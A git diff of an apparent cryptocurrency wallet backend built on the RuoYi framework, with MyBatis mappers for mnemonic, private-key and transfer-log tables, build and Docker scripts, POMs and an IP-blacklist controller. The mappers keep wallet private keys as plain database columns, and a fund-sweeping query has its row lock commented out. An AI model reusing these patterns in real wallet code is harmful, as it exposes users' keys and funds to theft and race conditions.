+            <if test="agentid != null">agentid,</if>
+            <if test="mnemonicid != null">mnemonicid,</if>
+            <if test="platform != null">platform,</if>
+            <if test="chain != null">chain,</if>
+            <if test="token != null">token,</if>
+            <if test="address != null">address,</if>
+            <if test="balance != null">balance,</if>
+            <if test="privatekey != null">privatekey,</if>
+            <if test="createdTime != null">created_time,</if>
+            <if test="updatedTime != null">updated_time,</if>
+            <if test="deletedTime != null">deleted_time,</if>
+         </trim>
+        <trim prefix="values (" suffix=")" suffixOverrides=",">
+            <if test="agentid != null">#{agentid},</if>
+            <if test="mnemonicid != null">#{mnemonicid},</if>
+            <if test="platform != null">#{platform},</if>
+            <if test="chain != null">#{chain},</if>
+            <if test="token != null">#{token},</if>
+            <if test="address != null">#{address},</if>
+            <if test="balance != null">#{balance},</if>
+            <if test="privatekey != null">#{privatekey},</if>
+            <if test="createdTime != null">#{createdTime},</if>
+            <if test="updatedTime != null">#{updatedTime},</if>
+            <if test="deletedTime != null">#{deletedTime},</if>
+         </trim>
+    </insert>
+
+    <update id="updateSysMnemonicToken" parameterType="ApiMnemonicToken">
+        update sys_mnemonic_token
+        <trim prefix="SET" suffixOverrides=",">
+            <if test="agentid != null">agentid = #{agentid},</if>
+            <if test="mnemonicid != null">mnemonicid = #{mnemonicid},</if>
+            <if test="platform != null">platform = #{platform},</if>
+            <if test="chain != null">chain = #{chain},</if>
+            <if test="token != null">token = #{token},</if>
+            <if test="address != null">address = #{address},</if>
+            <if test="balance != null">balance = #{balance},</if>
+            <if test="privatekey != null">privatekey = #{privatekey},</if>
+            <if test="createdTime != null">created_time = #{createdTime},</if>
+            <if test="updatedTime != null">updated_time = #{updatedTime},</if>
+            <if test="deletedTime != null">deleted_time = #{deletedTime},</if>
+        </trim>
+        where id = #{id}
+    </update>
+
+    <delete id="deleteSysMnemonicTokenById" parameterType="Long">
+        delete from sys_mnemonic_token where id = #{id}
+    </delete>
+
+    <delete id="deleteSysMnemonicTokenByIds" parameterType="String">
+        delete from sys_mnemonic_token where id in 
+        <foreach item="id" collection="array" open="(" separator="," close=")">
+            #{id}
+        </foreach>
+    </delete>
+
+
+    <select id="selectSysMnemonicTokenTaskList" parameterType="String" resultMap="SysMnemonicTokenResult">
+        <include refid="selectSysMnemonicTokenVo"/>
+        <where>
+            <if test="token != null  and token != ''"> and token = #{token}</if>
+            <if test="balance != null  and balance != ''"> and balance >= #{balance}</if>
+        </where>
+    </select>
+
+<!--add by lwh 2025-7-6 start-->
+    <!-- 查询符合条件的记录ID(无锁) -->
+    <select id="selectSysMnemonicTokenIdList" resultType="java.lang.Long">
+        SELECT id FROM sys_mnemonic_token
+        WHERE token = #{token}
+        AND deleted_time=0
+        AND address != #{toAddress}
+        AND (#{minBalance} > 0 OR zzbalance > 0)
+        AND balance >= CASE
+        WHEN zzbalance IS NOT NULL AND zzbalance > 0 THEN zzbalance
+        ELSE #{minBalance}
+        END
+        ORDER BY id ASC
+    </select>
+
+    <!-- 根据ID列表查询并加锁 -->
+    <select id="selectSysMnemonicTokenListForUpdateByIds" resultType="com.api.domain.ApiMnemonicToken">
+        <include refid="selectSysMnemonicTokenVo"/>
+        WHERE id IN (<foreach collection="ids" item="id" separator=",">#{id}</foreach>)
+--         delete by denghongxing 2025-7-11 start
+--         FOR UPDATE
+--         delete by denghongxing 2025-7-11 start
+    </select>
+<!-- add by lwh 2025-7-6 end-->
+</mapper>

+ 62 - 0
api/src/main/resources/mapper/ApiMnemonicTokenPrivatekeyMapper.xml

@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE mapper
+PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
+"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+<mapper namespace="com.api.mapper.ApiMnemonicTokenPrivatekeyMapper">
+    
+    <resultMap type="ApiMnemonicTokenPrivatekey" id="SysMnemonicTokenPrivatekeyResult">
+        <result property="id"    column="id"    />
+        <result property="privatekey"    column="privatekey"    />
+        <result property="createdTime"    column="created_time"    />
+    </resultMap>
+
+    <sql id="selectSysMnemonicTokenPrivatekeyVo">
+        select id, privatekey, created_time from sys_mnemonic_token_privatekey
+    </sql>
+
+    <select id="selectSysMnemonicTokenPrivatekeyList" parameterType="ApiMnemonicTokenPrivatekey" resultMap="SysMnemonicTokenPrivatekeyResult">
+        <include refid="selectSysMnemonicTokenPrivatekeyVo"/>
+        <where>  
+            <if test="privatekey != null  and privatekey != ''"> and privatekey = #{privatekey}</if>
+            <if test="createdTime != null "> and created_time = #{createdTime}</if>
+        </where>
+    </select>
+    
+    <select id="selectSysMnemonicTokenPrivatekeyById" parameterType="Long" resultMap="SysMnemonicTokenPrivatekeyResult">
+        <include refid="selectSysMnemonicTokenPrivatekeyVo"/>
+        where id = #{id}
+    </select>
+        
+    <insert id="insertSysMnemonicTokenPrivatekey" parameterType="ApiMnemonicTokenPrivatekey" useGeneratedKeys="true" keyProperty="id">
+        insert into sys_mnemonic_token_privatekey
+        <trim prefix="(" suffix=")" suffixOverrides=",">
+            <if test="privatekey != null">privatekey,</if>
+            <if test="createdTime != null">created_time,</if>
+         </trim>
+        <trim prefix="values (" suffix=")" suffixOverrides=",">
+            <if test="privatekey != null">#{privatekey},</if>
+            <if test="createdTime != null">#{createdTime},</if>
+         </trim>
+    </insert>
+
+    <update id="updateSysMnemonicTokenPrivatekey" parameterType="ApiMnemonicTokenPrivatekey">
+        update sys_mnemonic_token_privatekey
+        <trim prefix="SET" suffixOverrides=",">
+            <if test="privatekey != null">privatekey = #{privatekey},</if>
+            <if test="createdTime != null">created_time = #{createdTime},</if>
+        </trim>
+        where id = #{id}
+    </update>
+
+    <delete id="deleteSysMnemonicTokenPrivatekeyById" parameterType="Long">
+        delete from sys_mnemonic_token_privatekey where id = #{id}
+    </delete>
+
+    <delete id="deleteSysMnemonicTokenPrivatekeyByIds" parameterType="String">
+        delete from sys_mnemonic_token_privatekey where id in 
+        <foreach item="id" collection="array" open="(" separator="," close=")">
+            #{id}
+        </foreach>
+    </delete>
+
+</mapper>

+ 94 - 0
api/src/main/resources/mapper/ApiTransferLogMapper.xml

@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE mapper
+PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
+"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+<mapper namespace="com.api.mapper.ApiTransferLogMapper">
+    
+    <resultMap type="ApiTransferLog" id="SysTransferLogResult">
+        <result property="id"    column="id"    />
+        <result property="agentid"    column="agentid"    />
+        <result property="token"    column="token"    />
+        <result property="fromaddress"    column="fromaddress"    />
+        <result property="fromprivateaddress"    column="fromprivateaddress"    />
+        <result property="txtype"    column="txtype"    />
+        <result property="toaddress"    column="toaddress"    />
+        <result property="money"    column="money"    />
+        <result property="txid"    column="txid"    />
+        <result property="createTime"    column="create_time"    />
+    </resultMap>
+
+    <sql id="selectSysTransferLogVo">
+        select id, agentid, token, fromaddress, fromprivateaddress, txtype, toaddress, money, txid, create_time from sys_transfer_log
+    </sql>
+
+    <select id="selectSysTransferLogList" parameterType="ApiTransferLog" resultMap="SysTransferLogResult">
+        <include refid="selectSysTransferLogVo"/>
+        <where>  
+            <if test="agentid != null "> and agentid = #{agentid}</if>
+            <if test="token != null  and token != ''"> and token = #{token}</if>
+            <if test="fromaddress != null  and fromaddress != ''"> and fromaddress = #{fromaddress}</if>
+            <if test="fromprivateaddress != null  and fromprivateaddress != ''"> and fromprivateaddress = #{fromprivateaddress}</if>
+            <if test="toaddress != null  and toaddress != ''"> and toaddress = #{toaddress}</if>
+            <if test="txid != null  and txid != ''"> and txid = #{txid}</if>
+        </where>
+    </select>
+    
+    <select id="selectSysTransferLogById" parameterType="Long" resultMap="SysTransferLogResult">
+        <include refid="selectSysTransferLogVo"/>
+        where id = #{id}
+    </select>
+        
+    <insert id="insertSysTransferLog" parameterType="ApiTransferLog" useGeneratedKeys="true" keyProperty="id">
+        insert into sys_transfer_log
+        <trim prefix="(" suffix=")" suffixOverrides=",">
+            <if test="agentid != null">agentid,</if>
+            <if test="token != null">token,</if>
+            <if test="fromaddress != null">fromaddress,</if>
+            <if test="fromprivateaddress != null">fromprivateaddress,</if>
+            <if test="txtype != null">txtype,</if>
+            <if test="toaddress != null">toaddress,</if>
+            <if test="money != null">money,</if>
+            <if test="txid != null">txid,</if>
+            create_time,
+         </trim>
+        <trim prefix="values (" suffix=")" suffixOverrides=",">
+            <if test="agentid != null">#{agentid},</if>
+            <if test="token != null">#{token},</if>
+            <if test="fromaddress != null">#{fromaddress},</if>
+            <if test="fromprivateaddress != null">#{fromprivateaddress},</if>
+            <if test="txtype != null">#{txtype},</if>
+            <if test="toaddress != null">#{toaddress},</if>
+            <if test="money != null">#{money},</if>
+            <if test="txid != null">#{txid},</if>
+            sysdate()
+         </trim>
+    </insert>
+
+    <update id="updateSysTransferLog" parameterType="ApiTransferLog">
+        update sys_transfer_log
+        <trim prefix="SET" suffixOverrides=",">
+            <if test="agentid != null">agentid = #{agentid},</if>
+            <if test="token != null">token = #{token},</if>
+            <if test="fromaddress != null">fromaddress = #{fromaddress},</if>
+            <if test="fromprivateaddress != null">fromprivateaddress = #{fromprivateaddress},</if>
+            <if test="txtype != null">txtype = #{txtype},</if>
+            <if test="toaddress != null">toaddress = #{toaddress},</if>
+            <if test="money != null">money = #{money},</if>
+            <if test="txid != null">txid = #{txid},</if>
+            <if test="createTime != null">create_time = #{createTime},</if>
+        </trim>
+        where id = #{id}
+    </update>
+
+    <delete id="deleteSysTransferLogById" parameterType="Long">
+        delete from sys_transfer_log where id = #{id}
+    </delete>
+
+    <delete id="deleteSysTransferLogByIds" parameterType="String">
+        delete from sys_transfer_log where id in 
+        <foreach item="id" collection="array" open="(" separator="," close=")">
+            #{id}
+        </foreach>
+    </delete>
+
+</mapper>

+ 12 - 0
bin/clean.bat

@@ -0,0 +1,12 @@
+@echo off
+echo.
+echo [信息] 清理工程target生成路径。
+echo.
+
+%~d0
+cd %~dp0
+
+cd ..
+call mvn clean
+
+pause

+ 12 - 0
bin/package.bat

@@ -0,0 +1,12 @@
+@echo off
+echo.
+echo [信息] 打包Web工程,生成war/jar包文件。
+echo.
+
+%~d0
+cd %~dp0
+
+cd ..
+call mvn clean package -Dmaven.test.skip=true
+
+pause

+ 14 - 0
bin/run.bat

@@ -0,0 +1,14 @@
+@echo off
+echo.
+echo [信息] 使用Jar命令运行Web工程。
+echo.
+
+cd %~dp0
+cd ../ruoyi-admin/target
+
+set JAVA_OPTS=-Xms256m -Xmx1024m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=512m
+
+java -jar %JAVA_OPTS% ruoyi-admin.jar
+
+cd bin
+pause

+ 16 - 0
build.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+gitVersion=$(git rev-parse HEAD)
+
+
+# echo $gitVersion
+ gitShortVersion=$(git rev-parse --short HEAD)
+# echo $gitShortVersion
+# # 指定字符串长度
+# LENGTH=10
+#編譯DOckerfile 餅推送到腿服務 指定鏡像名稱為ppdios
+aws ecr get-login-password --region ap-east-1 | docker login --username AWS --password-stdin 084828556997.dkr.ecr.ap-east-1.amazonaws.com
+#--progress=plain
+docker buildx build --platform linux/amd64,linux/arm64 . -t wallet:${gitShortVersion} --build-arg GIT_VERSION=${gitVersion} --build-arg GIT_SHORT_VERSION=${gitShortVersion}
+docker tag wallet:${gitShortVersion} 084828556997.dkr.ecr.ap-east-1.amazonaws.com/app/wallet:${gitShortVersion}
+docker push 084828556997.dkr.ecr.ap-east-1.amazonaws.com/app/wallet:${gitShortVersion}

BIN
doc/若依环境使用手册.docx


+ 10 - 0
docker-compose.yaml

@@ -0,0 +1,10 @@
+version: '3.8'
+
+services:
+  wallet:
+    image: 084828556997.dkr.ecr.ap-east-1.amazonaws.com/app/wallet:2b3dadad
+    container_name: wallet
+    ports:
+      - "8025:8025"
+    restart: always
+    network_mode: host

+ 317 - 0
pom.xml

@@ -0,0 +1,317 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <groupId>com.ruoyi</groupId>
+    <artifactId>ruoyi</artifactId>
+    <version>4.8.0</version>
+
+    <name>ruoyi</name>
+    <url>http://www.ruoyi.vip</url>
+    <description>若依管理系统</description>
+    
+    <properties>
+        <ruoyi.version>4.8.0</ruoyi.version>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
+        <java.version>9</java.version>
+        <maven-jar-plugin.version>3.1.1</maven-jar-plugin.version>
+        <spring-boot.version>2.5.15</spring-boot.version>
+        <shiro.version>1.13.0</shiro.version>
+        <thymeleaf.extras.shiro.version>2.1.0</thymeleaf.extras.shiro.version>
+        <druid.version>1.2.23</druid.version>
+        <bitwalker.version>1.21</bitwalker.version>
+        <kaptcha.version>2.3.3</kaptcha.version>
+        <swagger.version>3.0.0</swagger.version>
+        <pagehelper.boot.version>1.4.7</pagehelper.boot.version>
+        <fastjson.version>2.0.57</fastjson.version>
+        <oshi.version>6.6.5</oshi.version>
+        <commons.io.version>2.16.1</commons.io.version>
+        <poi.version>4.1.2</poi.version>
+        <velocity.version>2.3</velocity.version>
+        <!-- override dependency version -->
+        <tomcat.version>9.0.102</tomcat.version>
+        <logback.version>1.2.13</logback.version>
+        <slf4j.version>1.7.25</slf4j.version>
+        <spring-framework.version>5.3.39</spring-framework.version>
+    </properties>
+
+    <!-- 依赖声明 -->
+    <dependencyManagement>
+        <dependencies>
+
+            <!-- 覆盖SpringFramework的依赖配置-->
+            <dependency>
+                <groupId>org.springframework</groupId>
+                <artifactId>spring-framework-bom</artifactId>
+                <version>${spring-framework.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+
+            <!-- SpringBoot的依赖配置-->
+            <dependency>
+                <groupId>org.springframework.boot</groupId>
+                <artifactId>spring-boot-dependencies</artifactId>
+                <version>${spring-boot.version}</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+
+            <!-- 覆盖logback的依赖配置-->
+            <dependency>
+                <groupId>ch.qos.logback</groupId>
+                <artifactId>logback-core</artifactId>
+                <version>${logback.version}</version>
+            </dependency>
+
+            <dependency>
+                <groupId>ch.qos.logback</groupId>
+                <artifactId>logback-classic</artifactId>
+                <version>${logback.version}</version>
+            </dependency>
+
+            <dependency>
+                <groupId>org.slf4j</groupId>
+                <artifactId>slf4j-api</artifactId>
+                <version>1.7.26</version>
+            </dependency>
+            <dependency>
+                <groupId>org.slf4j</groupId>
+                <artifactId>jcl-over-slf4j</artifactId>
+                <version>1.7.26</version>
+            </dependency>
+            <!-- 覆盖tomcat的依赖配置-->
+            <dependency>
+                <groupId>org.apache.tomcat.embed</groupId>
+                <artifactId>tomcat-embed-core</artifactId>
+                <version>${tomcat.version}</version>
+            </dependency>
+
+            <dependency>
+                <groupId>org.apache.tomcat.embed</groupId>
+                <artifactId>tomcat-embed-el</artifactId>
+                <version>${tomcat.version}</version>
+            </dependency>
+
+            <dependency>
+                <groupId>org.apache.tomcat.embed</groupId>
+                <artifactId>tomcat-embed-websocket</artifactId>
+                <version>${tomcat.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>com.google.protobuf</groupId>
+                <artifactId>protobuf-java</artifactId>
+                <version>3.25.5</version>
+            </dependency>
+            <!-- 阿里数据库连接池 -->
+            <dependency>
+                <groupId>com.alibaba</groupId>
+                <artifactId>druid-spring-boot-starter</artifactId>
+                <version>${druid.version}</version>
+            </dependency>
+            
+            <!-- 验证码 -->
+            <dependency>
+                <groupId>pro.fessional</groupId>
+                <artifactId>kaptcha</artifactId>
+                <version>${kaptcha.version}</version>
+            </dependency>
+
+            <!-- Shiro核心框架 -->
+            <dependency>
+                <groupId>org.apache.shiro</groupId>
+                <artifactId>shiro-core</artifactId>
+                <version>${shiro.version}</version>
+            </dependency>
+
+            <!-- Shiro使用Spring框架 -->
+            <dependency>
+                <groupId>org.apache.shiro</groupId>
+                <artifactId>shiro-spring</artifactId>
+                <version>${shiro.version}</version>
+            </dependency>
+
+            <!-- Shiro使用EhCache缓存框架 -->
+            <dependency>
+                <groupId>org.apache.shiro</groupId>
+                <artifactId>shiro-ehcache</artifactId>
+                <version>${shiro.version}</version>
+            </dependency>
+
+            <!-- thymeleaf模板引擎和shiro框架的整合 -->
+            <dependency>
+                <groupId>com.github.theborakompanioni</groupId>
+                <artifactId>thymeleaf-extras-shiro</artifactId>
+                <version>${thymeleaf.extras.shiro.version}</version>
+            </dependency>
+
+            <!-- 解析客户端操作系统、浏览器等 -->
+            <dependency>
+                <groupId>eu.bitwalker</groupId>
+                <artifactId>UserAgentUtils</artifactId>
+                <version>${bitwalker.version}</version>
+            </dependency>
+
+            <!-- pagehelper 分页插件 -->
+            <dependency>
+                <groupId>com.github.pagehelper</groupId>
+                <artifactId>pagehelper-spring-boot-starter</artifactId>
+                <version>${pagehelper.boot.version}</version>
+            </dependency>
+
+            <!-- 获取系统信息 -->
+            <dependency>
+                <groupId>com.github.oshi</groupId>
+                <artifactId>oshi-core</artifactId>
+                <version>${oshi.version}</version>
+            </dependency>
+
+            <!-- Swagger3依赖 -->
+            <dependency>
+                <groupId>io.springfox</groupId>
+                <artifactId>springfox-boot-starter</artifactId>
+                <version>${swagger.version}</version>
+                <exclusions>
+                    <exclusion>
+                        <groupId>io.swagger</groupId>
+                        <artifactId>swagger-models</artifactId>
+                    </exclusion>
+                </exclusions>
+            </dependency>
+
+            <!-- io常用工具类 -->
+            <dependency>
+                <groupId>commons-io</groupId>
+                <artifactId>commons-io</artifactId>
+                <version>${commons.io.version}</version>
+            </dependency>
+
+            <!-- excel工具 -->
+            <dependency>
+                <groupId>org.apache.poi</groupId>
+                <artifactId>poi-ooxml</artifactId>
+                <version>${poi.version}</version>
+            </dependency>
+
+            <!-- velocity代码生成使用模板 -->
+            <dependency>
+                <groupId>org.apache.velocity</groupId>
+                <artifactId>velocity-engine-core</artifactId>
+                <version>${velocity.version}</version>
+            </dependency>
+
+            <!-- 阿里JSON解析器 -->
+            <dependency>
+                <groupId>com.alibaba</groupId>
+                <artifactId>fastjson</artifactId>
+                <version>${fastjson.version}</version>
+            </dependency>
+
+            <!-- 定时任务-->
+            <dependency>
+                <groupId>com.ruoyi</groupId>
+                <artifactId>ruoyi-quartz</artifactId>
+                <version>${ruoyi.version}</version>
+            </dependency>
+
+            <!-- 代码生成-->
+            <dependency>
+                <groupId>com.ruoyi</groupId>
+                <artifactId>ruoyi-generator</artifactId>
+                <version>${ruoyi.version}</version>
+            </dependency>
+
+            <!-- 核心模块-->
+            <dependency>
+                <groupId>com.ruoyi</groupId>
+                <artifactId>ruoyi-framework</artifactId>
+                <version>${ruoyi.version}</version>
+            </dependency>
+
+            <!-- 系统模块-->
+            <dependency>
+                <groupId>com.ruoyi</groupId>
+                <artifactId>ruoyi-system</artifactId>
+                <version>${ruoyi.version}</version>
+            </dependency>
+
+            <!-- 通用工具-->
+            <dependency>
+                <groupId>com.ruoyi</groupId>
+                <artifactId>ruoyi-common</artifactId>
+                <version>${ruoyi.version}</version>
+            </dependency>
+
+            <dependency>
+                <groupId>com.ruoyi</groupId>
+                <artifactId>api</artifactId>
+                <version>${ruoyi.version}</version>
+            </dependency>
+
+        </dependencies>
+    </dependencyManagement>
+
+    <modules>
+        <module>ruoyi-admin</module>
+        <module>ruoyi-framework</module>
+        <module>ruoyi-system</module>
+        <module>ruoyi-quartz</module>
+        <module>ruoyi-generator</module>
+        <module>ruoyi-common</module>
+        <module>api</module>
+    </modules>
+    <packaging>pom</packaging>
+
+
+    <dependencies>
+
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+                <version>3.1</version>
+                <configuration>
+                    <source>${java.version}</source>
+                    <target>${java.version}</target>
+                    <encoding>${project.build.sourceEncoding}</encoding>
+                </configuration>
+            </plugin>
+
+        </plugins>
+    </build>
+
+    <repositories>
+        <repository>
+            <id>public</id>
+            <name>aliyun nexus</name>
+            <url>https://maven.aliyun.com/repository/public</url>
+            <releases>
+                <enabled>true</enabled>
+            </releases>
+        </repository>
+        <repository>
+            <id>jitpack.io</id>
+            <url>https://jitpack.io</url>
+        </repository>
+    </repositories>
+
+    <pluginRepositories>
+        <pluginRepository>
+            <id>public</id>
+            <name>aliyun nexus</name>
+            <url>https://maven.aliyun.com/repository/public</url>
+            <releases>
+                <enabled>true</enabled>
+            </releases>
+            <snapshots>
+                <enabled>false</enabled>
+            </snapshots>
+        </pluginRepository>
+    </pluginRepositories>
+
+</project>

+ 140 - 0
ruoyi-admin/pom.xml

@@ -0,0 +1,140 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>ruoyi</artifactId>
+        <groupId>com.ruoyi</groupId>
+        <version>4.8.0</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+    <packaging>jar</packaging>
+    <artifactId>ruoyi-admin</artifactId>
+
+    <description>
+        web服务入口
+    </description>
+
+    <dependencies>
+
+        <!-- SpringBoot集成thymeleaf模板 -->
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-thymeleaf</artifactId>
+        </dependency>
+
+        <!-- spring-boot-devtools -->
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-devtools</artifactId>
+            <optional>true</optional> <!-- 表示依赖不会传递 -->
+        </dependency>
+
+        <!-- swagger3-->
+        <dependency>
+            <groupId>io.springfox</groupId>
+            <artifactId>springfox-boot-starter</artifactId>
+        </dependency>
+
+        <!-- 防止进入swagger页面报类型转换错误,排除3.0.0中的引用,手动增加1.6.2版本 -->
+        <dependency>
+            <groupId>io.swagger</groupId>
+            <artifactId>swagger-models</artifactId>
+            <version>1.6.2</version>
+        </dependency>
+
+        <!-- Mysql驱动包 -->
+        <dependency>
+            <groupId>mysql</groupId>
+            <artifactId>mysql-connector-java</artifactId>
+        </dependency>
+
+        <!-- 核心模块-->
+        <dependency>
+            <groupId>com.ruoyi</groupId>
+            <artifactId>ruoyi-framework</artifactId>
+        </dependency>
+
+        <!-- 定时任务-->
+        <dependency>
+            <groupId>com.ruoyi</groupId>
+            <artifactId>ruoyi-quartz</artifactId>
+        </dependency>
+
+        <!-- 代码生成-->
+        <dependency>
+            <groupId>com.ruoyi</groupId>
+            <artifactId>ruoyi-generator</artifactId>
+        </dependency>
+        <!-- 前端接口-->
+        <dependency>
+            <groupId>com.ruoyi</groupId>
+            <artifactId>api</artifactId>
+        </dependency>
+
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.springframework.boot</groupId>
+                <artifactId>spring-boot-maven-plugin</artifactId>
+                <version>2.5.15</version>
+                <configuration>
+                    <fork>true</fork> <!-- 如果没有该配置,devtools不会生效 -->
+                </configuration>
+                <executions>
+                    <execution>
+                        <goals>
+                            <goal>repackage</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+            <plugin>   
+                <groupId>org.apache.maven.plugins</groupId>   
+                <artifactId>maven-war-plugin</artifactId>   
+                <version>3.0.0</version>   
+                <configuration>
+                    <failOnMissingWebXml>false</failOnMissingWebXml>
+                    <warName>${project.artifactId}</warName>
+                </configuration>   
+            </plugin>
+            <!-- YUI Compressor (CSS/JS压缩) 
+            <plugin>
+                <groupId>net.alchim31.maven</groupId>
+                <artifactId>yuicompressor-maven-plugin</artifactId>
+                <version>1.5.1</version>
+                <executions>
+                    <execution>
+                        <phase>prepare-package</phase>
+                        <goals>
+                            <goal>compress</goal>
+                        </goals>
+                    </execution>
+                </executions>
+                <configuration>
+                    <encoding>UTF-8</encoding>
+                    <jswarn>false</jswarn>
+                    <nosuffix>true</nosuffix>
+                    <linebreakpos>50000</linebreakpos>
+                    <sourceDirectory>src/main/resources/static</sourceDirectory>
+                    <force>true</force>
+                    <includes>
+                        <include>**/*.js</include>
+                        <include>**/*.css</include>
+                    </includes>
+                    <excludes>
+                        <exclude>**/*.min.js</exclude>
+                        <exclude>**/*.min.css</exclude>
+                        <exclude>**/fileinput.js</exclude>
+                        <exclude>**/validate/**</exclude>
+                        <exclude>**/bootstrap-table/**</exclude>
+                    </excludes>
+                </configuration>
+            </plugin> -->
+        </plugins>
+        <finalName>${project.artifactId}</finalName>
+    </build>
+
+</project>

+ 23 - 0
ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication.java

@@ -0,0 +1,23 @@
+package com.ruoyi;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration;
+import org.springframework.context.annotation.ComponentScan;
+
+/**
+ * 启动程序
+ * 
+ * @author ruoyi
+ */
+@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })
+@ComponentScan({ "com.ruoyi.*", "com.api.*"})
+public class RuoYiApplication
+{
+    public static void main(String[] args)
+    {
+        // System.setProperty("spring.devtools.restart.enabled", "false");
+        SpringApplication.run(RuoYiApplication.class, args);
+
+    }
+}

+ 18 - 0
ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java

@@ -0,0 +1,18 @@
+package com.ruoyi;
+
+import org.springframework.boot.builder.SpringApplicationBuilder;
+import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
+
+/**
+ * web容器中进行部署
+ * 
+ * @author ruoyi
+ */
+public class RuoYiServletInitializer extends SpringBootServletInitializer
+{
+    @Override
+    protected SpringApplicationBuilder configure(SpringApplicationBuilder application)
+    {
+        return application.sources(RuoYiApplication.class);
+    }
+}

+ 33 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/config/ApplicationConfig.java

@@ -0,0 +1,33 @@
+package com.ruoyi.system.config;
+
+import com.jd.platform.async.executor.Async;
+import com.ruoyi.common.utils.wallet.WalletConstants;
+import com.ruoyi.common.utils.wallet.WalletUtils;
+import org.springframework.beans.factory.DisposableBean;
+import org.springframework.context.ApplicationListener;
+import org.springframework.context.event.ContextClosedEvent;
+
+import javax.annotation.PreDestroy;
+
+public class ApplicationConfig implements DisposableBean, ApplicationListener<ContextClosedEvent> {
+
+    @Override
+    public void onApplicationEvent(ContextClosedEvent event) {
+        // Handle the context closed event
+        System.out.println("Application context closed: " + event.getApplicationContext().getId());
+    }
+
+    @Override
+    public void destroy() throws Exception {
+        // Cleanup resources if needed
+        System.out.println("Cleaning up resources...");
+    }
+
+    @PreDestroy
+    public void preDestroy() {
+        // Cleanup resources before the bean is destroyed
+        System.out.println("Pre-destroy cleanup...");
+        Async.shutDown();
+        WalletConstants.shutdown();
+    }
+}

+ 124 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysBlackipController.java

@@ -0,0 +1,124 @@
+package com.ruoyi.system.controller;
+
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.system.domain.SysBlackip;
+import com.ruoyi.system.service.ISysBlackipService;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.*;
+
+import java.util.List;
+
+/**
+ * IP黑名单Controller
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+@Controller
+@RequestMapping("/system/blackip")
+public class SysBlackipController extends BaseController
+{
+    private String prefix = "system/blackip";
+
+    @Autowired
+    private ISysBlackipService sysBlackipService;
+
+    @RequiresPermissions("system:blackip:view")
+    @GetMapping()
+    public String blackip()
+    {
+        return prefix + "/blackip";
+    }
+
+    /**
+     * 查询IP黑名单列表
+     */
+    @RequiresPermissions("system:blackip:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysBlackip sysBlackip)
+    {
+        startPage();
+        List<SysBlackip> list = sysBlackipService.selectSysBlackipList(sysBlackip);
+        return getDataTable(list);
+    }
+
+    /**
+     * 导出IP黑名单列表
+     */
+    @RequiresPermissions("system:blackip:export")
+    @Log(title = "IP黑名单", businessType = BusinessType.EXPORT)
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysBlackip sysBlackip)
+    {
+        List<SysBlackip> list = sysBlackipService.selectSysBlackipList(sysBlackip);
+        ExcelUtil<SysBlackip> util = new ExcelUtil<SysBlackip>(SysBlackip.class);
+        return util.exportExcel(list, "IP黑名单数据");
+    }
+
+    /**
+     * 新增IP黑名单
+     */
+    @GetMapping("/add")
+    public String add()
+    {
+        return prefix + "/add";
+    }
+
+    /**
+     * 新增保存IP黑名单
+     */
+    @RequiresPermissions("system:blackip:add")
+    @Log(title = "IP黑名单", businessType = BusinessType.INSERT)
+    @PostMapping("/add")
+    @ResponseBody
+    public AjaxResult addSave(SysBlackip sysBlackip)
+    {
+        return toAjax(sysBlackipService.insertSysBlackip(sysBlackip));
+    }
+
+    /**
+     * 修改IP黑名单
